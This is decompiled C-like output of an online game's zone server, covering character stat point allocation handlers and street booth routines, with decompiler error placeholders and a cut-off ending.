__thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ(void *this, int netcmd, int len, __int16 handle) { int v4; // esi@1 int v5; // edi@5 int v6; // ebx@5 signed int v7; // ebx@5 int v8; // eax@5 unsigned __int8 v9; // al@7 char *v10; // edi@12 unsigned __int8 v11; // al@12 char v12; // al@14 ZoneBaseSession *v13; // eax@15 signed int v14; // [sp-Ch] [bp-28h]@9 signed int v15; // [sp-8h] [bp-24h]@9 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v17; // [sp+18h] [bp-4h]@1 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v17 = 0; if ( !(_S4_21 & 1) ) { _S4_21 |= 1u; stru_124F2B60.cmc_AllowMode = 86; atexit(_E5_69); } if ( !((1 << **(_BYTE **)(v4 + 3716)) & stru_124F2B60.cmc_AllowMode) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 4, 97, 2759); --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ"); return; } v5 = *(_DWORD *)(v4 + 4004); v6 = (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1220))(v4); v7 = shineparam.scp_param.commonparam[v6]->stat[(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 40))(v5)]; v8 = ShineObjectClass::ShinePlayer::sp_CalcCurrentStat(v4); if ( v7 > v8 ) { v9 = *(_BYTE *)(netcmd + 2); if ( v9 > 4u ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ : Invalid Stat", v9); (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 4, 97, 2755); v17 = -1; goto LABEL_20; } if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2632))(v4) == 1 ) { AssertClass::ac_AssertFail( &shineassert, "ShinePlayer::sp_NC_CHAR_CLIENT_FREESTAT_APPLICATION_REQ : free stat is lock", 0); v15 = 2759; v14 = 97; } else { v10 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4305; *((_WORD *)v10 + 1) = *(_WORD *)(v4 + 4); *((_DWORD *)v10 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); v10[8] = v7; v10[9] = *(_BYTE *)(v4 + 32100); v10[10] = *(_BYTE *)(v4 + 32101); v10[11] = *(_BYTE *)(v4 + 32102); v10[12] = *(_BYTE *)(v4 + 32103); v10[13] = *(_BYTE *)(v4 + 32104); v10[16] = 0; v11 = *(_BYTE *)(netcmd + 2); if ( v11 >= 5u ) { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ : invalid stat", v11); (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 4, 103, 2755); goto LABEL_11; } if ( (unsigned __int8)v10[v11 + 9] < v7 ) { ++v10[v11 + 9]; v12 = ProtocolPacket::pp_SetPacketLen(&gpp, 17); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v12, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ : Packet Too Long", 17) ) { v13 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v13); } (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2636))(v4); goto LABEL_11; } AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ : too many stat", v11); v15 = 2754; v14 = 103; } (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 4, v14, v15); LABEL_11: v17 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ : Try to increase above remain point", v7 > v8); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 4, 97, 2754); v17 = -1; LABEL_20: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ"); } //----- (0051FE00) -------------------------------------------------------- #error "51FE00: undefined or illegal type '#325' (funcsize=53)" //----- (0051FEE0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_StatIncrease(void *this, int suc) { int v2; // esi@1 int v3; // edi@1 int v4; // ST18_4@1 int v5; // edi@1 int v6; // eax@1 unsigned __int8 v7; // al@4 unsigned __int8 v8; // al@6 unsigned __int8 v9; // al@8 unsigned __int8 v10; // al@10 unsigned __int8 v11; // al@12 char *v12; // eax@14 int v13; // eax@16 int v14; // [sp-8h] [bp-20h]@0 v2 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_StatIncrease"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_StatIncrease"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)(v2 + 4004); v4 = (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v2 + 1220))(v2); v5 = shineparam.scp_param.commonparam[v4]->stat[(*(int (__thiscall **)(int))(*(_DWORD *)v3 + 40))(v3)]; v6 = ShineObjectClass::ShinePlayer::sp_CalcCurrentStat(v2); if ( v5 > v6 ) { switch ( *(_BYTE *)(suc + 6) ) { case 0: v7 = *(_BYTE *)(v2 + 32100); if ( v7 < 0x96u ) *(_BYTE *)(v2 + 32100) = v7 + 1; goto LABEL_14; case 1: v8 = *(_BYTE *)(v2 + 32101); if ( v8 < 0x96u ) *(_BYTE *)(v2 + 32101) = v8 + 1; goto LABEL_14; case 2: v9 = *(_BYTE *)(v2 + 32102); if ( v9 < 0x96u ) *(_BYTE *)(v2 + 32102) = v9 + 1; goto LABEL_14; case 3: v10 = *(_BYTE *)(v2 + 32103); if ( v10 < 0x96u ) *(_BYTE *)(v2 + 32103) = v10 + 1; goto LABEL_14; case 4: v11 = *(_BYTE *)(v2 + 32104); if ( v11 < 0x96u ) *(_BYTE *)(v2 + 32104) = v11 + 1; LABEL_14: Parameter::Container::c_Storepure((void *)(v2 + 4008), *(_DWORD *)(v2 + 4004), v2, v14); v12 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4191; v12[2] = *(_BYTE *)(suc + 6); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 3) ) { v13 = (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v13 + 12))(v13, v2, &gpp); (*(void (__thiscall **)(int))(*(_DWORD *)v2 + 1300))(v2); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_StatIncrease : Packet Too Long", 3); (*(void (__thiscall **)(int))(*(_DWORD *)v2 + 1300))(v2); } break; default: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_StatIncrease : Invalid Stat", *(_BYTE *)(suc + 6)); (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v2 + 776))(v2, 4, 97, 2755); break; } } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_StatIncrease : Try to increase above remain point", v5 > v6); (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v2 + 776))(v2, 4, 97, 2754); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_StatIncrease"); } //----- (00520100) -------------------------------------------------------- #error "520100: undefined or illegal type '#325' (funcsize=55)" //----- (005201E0) -------------------------------------------------------- void __usercall ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_DECPOINT_REQ(int a1, int a2, int netcmd, int len, __int16 handle) { int v5; // ebp@1 __int16 v6; // si@7 int v7; // ecx@7 int v8; // eax@8 int v9; // eax@12 int v10; // ebx@14 InventoryLocking::InventoryCellLockVtbl *v11; // esi@16 int v12; // eax@16 char *v13; // esi@16 signed int v14; // edi@16 int v15; // eax@16 char v16; // cl@17 char v17; // al@21 ZoneBaseSession *v18; // eax@22 ITEM_INVEN redist_inv; // [sp+10h] [bp-ACh]@20 FunctionEntarance _; // [sp+14h] [bp-A8h]@1 void *redist_cell; // [sp+18h] [bp-A4h]@20 ItemBoxIterIdent ibii; // [sp+1Ch] [bp-A0h]@7 InventoryLocking::UnlockedInventoryIterator uii; // [sp+30h] [bp-8Ch]@10 ItemTotalInformation redist_iti; // [sp+3Ch] [bp-80h]@10 unsigned int v25; // [sp+ACh] [bp-10h]@16 int v26; // [sp+B8h] [bp-4h]@1 void *v27; // [sp+BCh] [bp+0h]@10 v5 = a1; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_DECPOINT_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_DECPOINT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_DECPOINT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v26 = 0; if ( !(_S6_69 & 1) ) { _S6_69 |= 1u; stru_124F2B68.cmc_AllowMode = 86; atexit(_E7_54); } if ( !((1 << **(_BYTE **)(v5 + 3716)) & stru_124F2B68.cmc_AllowMode) ) goto LABEL_6; if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 2632))(v5) == 1 ) { AssertClass::ac_AssertFail( &shineassert, "ShinePlayer::sp_NC_CHAR_CLIENT_FREESTAT_APPLICATION_REQ : free stat is lock", 0); (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 4, 103, 2759); LABEL_6: --funcallanalizer.fca_stackpoint; v26 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_DECPOINT_REQ"); goto LABEL_28; } v6 = unk_12574198; v7 = v5 + 35536; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; ibii.baseclass_0.ibi_itembag = (ItemBag *)(v5 + 35536); if ( v5 == -91696 ) v8 = (*(int (__stdcall **)(int))(*(_DWORD *)v7 + 8))(a2); else v8 = (*(int (__stdcall **)(int, int))(*(_DWORD *)v7 + 4))(v5 + 91696, a2); *(_DWORD *)&ibii.ibii_ident = v8; ibii.baseclass_0.ibi_itembag = (ItemBag *)&ItemBoxIterIdent::_vftable_; LOWORD(uii.uii_Iterator) = v6; uii.uii_LockList = (InventoryLocking::InventoryCellLock *)&ibii.baseclass_0.ibi_itembag; LOBYTE(v27) = 1; uii.uii_InvenType = v5 + 57736; *(_DWORD *)&redist_iti.iti_registnum.binary.gap0[0] = 9; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)((char *)&uii + 4)) ) { v9 = (*(int (__stdcall **)(InventoryLocking::InventoryCellLockVtbl *))**(int (__stdcall ****)(_DWORD))&uii.uii_LockList->icl_Index)(uii.uii_LockList[1].vfptr); ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)v9; if ( v9 ) { v10 = *(_DWORD *)(v9 + 112); if ( v10 ) { memcpy(&redist_iti.iti_registnum.binary._bf4, (const void *)v9, 0x6Cu); LOWORD(v25) = *(_WORD *)(v9 + 108); BYTE2(v25) = *(_BYTE *)(v9 + 110); v11 = uii.uii_LockList[1].vfptr; v12 = (*(int (__thiscall **)(int, char *))(*(_DWORD *)v10 + 24))( v10, (char *)&redist_iti.iti_itemstruct.itemattr.dlot.lot + 2); LOWORD(_.fe_FunctionCode) = (unsigned __int16)v11 & 0x3FF | 0x2400; v13 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4305; *((_WORD *)v13 + 1) = *(_WORD *)(v5 + 4); v14 = v12; *((_DWORD *)v13 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 836))(v5); v13[8] = ShineObjectClass::ShinePlayer::sp_CalcTotalStat((void *)v5); v13[9] = *(_BYTE *)(v5 + 32100); v13[10] = *(_BYTE *)(v5 + 32101); v13[11] = *(_BYTE *)(v5 + 32102); v13[12] = *(_BYTE *)(v5 + 32103); v13[13] = *(_BYTE *)(v5 + 32104); v15 = *(_BYTE *)(len + 2); if ( (unsigned __int8)v15 >= 5u ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_DECPOINT_REQ : Invalid Stat", (unsigned __int8)v15); (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 4, 103); } else { v16 = v13[(unsigned __int8)v15 + 9]; if ( v16 ) { v13[(unsigned __int8)v15 + 9] = v16 - 1; LOWORD(v15) = *(_WORD *)(v5 + 57740); *((_WORD *)v13 + 7) = v15; v13[16] = 1; *(_DWORD *)(v13 + 18) = redist_iti.iti_registnum.binary._bf4; *(_DWORD *)(v13 + 22) = *(_DWORD *)&redist_iti.iti_itemstruct.itemid; *((_WORD *)v13 + 13) = HIWORD(redist_iti.iti_itemstruct.itemattr.dlot.lot); v13[28] = 1; if ( v14 > 1 ) { v13[17] = 0; (*(void (__thiscall **)(int, char *))(*(_DWORD *)v10 + 28))( v10, (char *)&redist_iti.iti_itemstruct.itemattr.dlot.lot + 2); (*(void (__thiscall **)(int, _DWORD, void *, ItemTotalInformation *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)(v5 + 57736) + 48))( v5 + 57736, *((_WORD *)v13 + 7), redist_cell, &redist_iti, &redist_inv, &redist_inv); } else { v13[17] = 1; (*(void (__thiscall **)(int, int, ItemBoxIteratorVtbl *, FunctionEntarance *))(*(_DWORD *)(v5 + 57736) + 40))( v5 + 57736, v15, ibii.baseclass_0.vfptr, &_); } v17 = ProtocolPacket::pp_SetPacketLen(&gpp, 29); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v17, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_DECPOINT_REQ : Packet Too Long", 29) ) { v18 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v18); } ++*(_WORD *)(v5 + 57740); (*(void (__thiscall **)(int))(*(_DWORD *)v5 + 2636))(v5); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_DECPOINT_REQ : Already_0", (unsigned __int8)v15); (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 4, 103); } } ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; } else { AssertClass::ac_AssertFail( &shineassert, "ShinePlayer::sp_NC_CHAR_CLIENT_FREESTAT_APPLICATION_REQ : ItemAttributeClass Null", 0); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v5 + 776))(v5, 4, 103); ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; } v26 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { AssertClass::ac_AssertFail( &shineassert, "ShinePlayer::sp_NC_CHAR_CLIENT_FREESTAT_APPLICATION_REQ : ItemInventoryCell Null", 0); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v5 + 776))(v5, 4, 103); --funcallanalizer.fca_stackpoint; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; v26 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_DECPOINT_REQ"); } } else { AssertClass::ac_AssertFail( &shineassert, "ShinePlayer::sp_NC_CHAR_CLIENT_FREESTAT_APPLICATION_REQ : no init item", 0); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v5 + 776))(v5, 4, 103); --funcallanalizer.fca_stackpoint; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; v26 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_DECPOINT_REQ"); } LABEL_28: __security_check_cookie(v25); } // 5201E0: could not find valid save-restore pair for edi // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 5A87EC: using guessed type int (__thiscall *ItemBoxIterIdent___vftable_)(_DWORD); //----- (00520650) -------------------------------------------------------- #error "520650: undefined or illegal type '#325' (funcsize=53)" //----- (00520730) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_StatDecrease(void *this, int suc) { int v2; // esi@1 DebugLogging *v3; // edi@2 _iobuf *v4; // eax@4 char v5; // al@8 char v6; // al@10 char v7; // al@12 char v8; // al@14 char v9; // al@16 char *v10; // eax@18 int v11; // eax@20 int v12; // [sp+8h] [bp-1Ch]@0 v2 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_StatIncrease"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_StatIncrease"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(unsigned __int8)(*(int (__thiscall **)(int, int, _DWORD, _DWORD))(*(_DWORD *)(v2 + 57736) + 24))( v2 + 57736, v2, *(_WORD *)(suc + 7), 0) ) { v3 = DebugLogging::operator<<(&LockIndexLog, "ShineObjectClass::ShinePlayer::so_ply_StatDecrease : "); if ( DebugLogging::dl_ActivAll ) { if ( v3->dl_Activ ) { DebugLogging::dl_FilePoint(v3); v4 = v3->dl_FilePointer; if ( v4 ) fprintf(v4, "%d"); } } DebugLogging::operator<<(v3, &deb_LF); } switch ( *(_BYTE *)(suc + 6) ) { case 0: v5 = *(_BYTE *)(v2 + 32100); if ( v5 ) *(_BYTE *)(v2 + 32100) = v5 - 1; goto LABEL_18; case 1: v6 = *(_BYTE *)(v2 + 32101); if ( v6 ) *(_BYTE *)(v2 + 32101) = v6 - 1; goto LABEL_18; case 2: v7 = *(_BYTE *)(v2 + 32102); if ( v7 ) *(_BYTE *)(v2 + 32102) = v7 - 1; goto LABEL_18; case 3: v8 = *(_BYTE *)(v2 + 32103); if ( v8 ) *(_BYTE *)(v2 + 32103) = v8 - 1; goto LABEL_18; case 4: v9 = *(_BYTE *)(v2 + 32104); if ( v9 ) *(_BYTE *)(v2 + 32104) = v9 - 1; LABEL_18: --*(_BYTE *)(v2 + 32105); Parameter::Container::c_Storepure((void *)(v2 + 4008), *(_DWORD *)(v2 + 4004), v2, v12); v10 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4197; v10[2] = *(_BYTE *)(suc + 6); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 3) ) { v11 = (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v11 + 12))(v11, v2, &gpp); (*(void (__thiscall **)(int))(*(_DWORD *)v2 + 1300))(v2); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_StatIncrease : Packet Too Long", 3); (*(void (__thiscall **)(int))(*(_DWORD *)v2 + 1300))(v2); } break; default: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_StatIncrease : Invalid Stat", *(_BYTE *)(suc + 6)); (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v2 + 776))(v2, 4, 103, 2755); break; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_StatIncrease"); } // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00520960) -------------------------------------------------------- #error "520960: undefined or illegal type '#325' (funcsize=55)" //----- (00520A40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_StatRemainSend(void *this) { int v1; // esi@1 int v2; // edi@1 int v3; // ebx@1 int v4; // ebx@1 int v5; // eax@1 char *v6; // ecx@3 int v7; // eax@5 v1 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameDBSession::gds_NC_CHAR_STAT_DECPOINTFAIL_DB_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_CHAR_STAT_DECPOINTFAIL_DB_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)(v1 + 4004); v3 = (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1220))(v1); v4 = shineparam.scp_param.commonparam[v3]->stat[(*(int (__thiscall **)(int))(*(_DWORD *)v2 + 40))(v2)]; v5 = ShineObjectClass::ShinePlayer::sp_CalcCurrentStat(v1); if ( v4 >= v5 ) { v6 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4187; v6[2] = v4 - v5; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 3) ) { v7 = (*(int (__thiscall **)(int))(*(_DWORD *)v1 + 760))(v1); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v1, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_charbasedata : Packet Too Long", 3); } } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_StatRemainSend : Too many StatPoint", v4 >= v5); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GameDBSession::gds_NC_CHAR_STAT_DECPOINTFAIL_DB_ACK"); } //----- (00520B70) -------------------------------------------------------- #error "520B70: undefined or illegal type '#325' (funcsize=103)" //----- (00520CE0) -------------------------------------------------------- void __thiscall StreetBooth::StreetBooth(StreetBooth *this) { this->vfptr = (StreetBoothVtbl *)&StreetBooth::_vftable_; this->sb_Terminal = 0; } // 5DC1C4: using guessed type int (*StreetBooth___vftable_)(); //----- (00520CF0) -------------------------------------------------------- void __thiscall StreetBooth::_StreetBooth(StreetBooth *this) { this->vfptr = (StreetBoothVtbl *)&StreetBooth::_vftable_; } // 5DC1C4: using guessed type int (*StreetBooth___vftable_)(); //----- (00520D00) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::smo_CheckBlockDuringMoving(AbnormalStateContainer::SubAbnormalStateActorIgnoreCoolTime *this, AbnormalStateContainer::AbstateElementInObject *aso) { return 1; } //----- (00520D10) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineNPC::so_TentDistance(ShineObjectClass::ShineNPC *this, SHINE_XY_TYPE *boothloc) { __int16 v2; // ax@1 char result; // al@4 int v4; // ecx@5 int v5; // eax@5 unsigned int v6; // ecx@5 v2 = ***(_WORD ***)&this->gap0[7536]; if ( v2 == 5606 || v2 == 5607 || v2 == 5700 ) { v4 = *(_DWORD *)&this->gap0[78]; v5 = *(_DWORD *)v4; v6 = *(_DWORD *)(v4 + 4) - boothloc->y; result = (v5 - boothloc->x) * (v5 - boothloc->x) + v6 * v6 > 0x384; } else { result = 0; } return result; } //----- (00520D60) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::so_TentDistance(void *this, int boothloc) { void *v2; // esi@1 signed int result; // eax@3 int v4; // ecx@4 int v5; // eax@4 int v6; // ecx@4 v2 = this; if ( (unsigned __int8)(*(int (**)(void))(*(_DWORD *)this + 1136))() == 5 || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1136))(v2) == 4 ) { v4 = *(_DWORD *)((char *)v2 + 78); v5 = *(_DWORD *)v4; v6 = *(_DWORD *)(v4 + 4) - *(_DWORD *)(boothloc + 4); result = (unsigned int)((v5 - *(_DWORD *)boothloc) * (v5 - *(_DWORD *)boothloc) + v6 * v6) > 0x384; } else { result = 1; } return result; } //----- (00520DC0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_TentDistance(ShineObjectClass::ShineMiniHouse *this, SHINE_XY_TYPE *boothloc) { int v2; // ecx@1 unsigned int v3; // eax@1 unsigned int v4; // ecx@1 v2 = *(_DWORD *)&this->gap0[78]; v3 = *(_DWORD *)v2 - boothloc->x; v4 = *(_DWORD *)(v2 + 4) - boothloc->y; return v3 * v3 + v4 * v4 > 0x384; } //----- (00520DF0) -------------------------------------------------------- #error "520DF0: undefined or illegal type '#434' (funcsize=26)" //----- (00520E50) -------------------------------------------------------- #error "520E50: undefined or illegal type '#325' (funcsize=7)" //----- (00520E70) -------------------------------------------------------- #error "520E70: undefined or illegal type '#434' (funcsize=15)" //----- (00520EA0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_IsInBoothInterior(int this) { return (*(int (**)(void))(**(_DWORD **)(this + 89172) + 32))(); } //----- (00520EB0) -------------------------------------------------------- void __thiscall StreetBoothSell::sb_Open(StreetBoothSell *this, InventoryLocking::InventoryCellLock *locker) { StreetBoothSell *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "StreetBoothSell::sb_Clear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "StreetBoothSell::sb_Clear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2->sbs_LockIndex = locker->icl_Index++; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "StreetBoothSell::sb_Clear"); } //----- (00520F20) -------------------------------------------------------- void __thiscall StreetBoothSell::sb_Close(StreetBoothSell *this, InventoryLocking::InventoryCellLock *locker) { StreetBoothSell *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "StreetBoothSell::sb_Close"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "StreetBoothSell::sb_Close"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ((void (__stdcall *)(_DWORD))locker->vfptr->icl_Free)(v2->sbs_LockIndex); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "StreetBoothSell::sb_Close"); } //----- (00520FD0) -------------------------------------------------------- void __thiscall StreetBoothSell::sb_Clear(StreetBoothSell *this) { StreetBoothSell *v1; // esi@1 int v2; // eax@1 signed int v3; // ecx@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "StreetBoothSell::sb_Clear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "StreetBoothSell::sb_Clear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (int)&v1->sbs_BoothCell[0].invencell; v3 = 20; do { *(_DWORD *)v2 = 0; v2 += 16; --v3; } while ( v3 ); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "StreetBoothSell::sb_Clear"); } // 520FD0: could not find valid save-restore pair for esi //----- (00521040) -------------------------------------------------------- void __thiscall StreetBoothBuy::sb_Clear(StreetBoothBuy *this) { StreetBoothBuy *v1; // esi@1 int v2; // eax@1 signed int v3; // ecx@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "StreetBoothBuy::sb_Clear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "StreetBoothBuy::sb_Clear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (int)v1->sbb_BoothCell; v3 = 20; do { *(_WORD *)v2 = -1; v2 += 16; --v3; } while ( v3 ); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "StreetBoothBuy::sb_Clear"); } // 521040: could not find valid save-restore pair for esi //----- (005210B0) -------------------------------------------------------- #error "5210B0: undefined or illegal type '#325' (funcsize=89)" //----- (005211F0) -------------------------------------------------------- #error "5211F0: undefined or illegal type '#325' (funcsize=80)" //----- (00521320) -------------------------------------------------------- #error "521320: undefined or illegal type '#325' (funcsize=38)" //----- (005213D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BOOTH_CLOSE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // 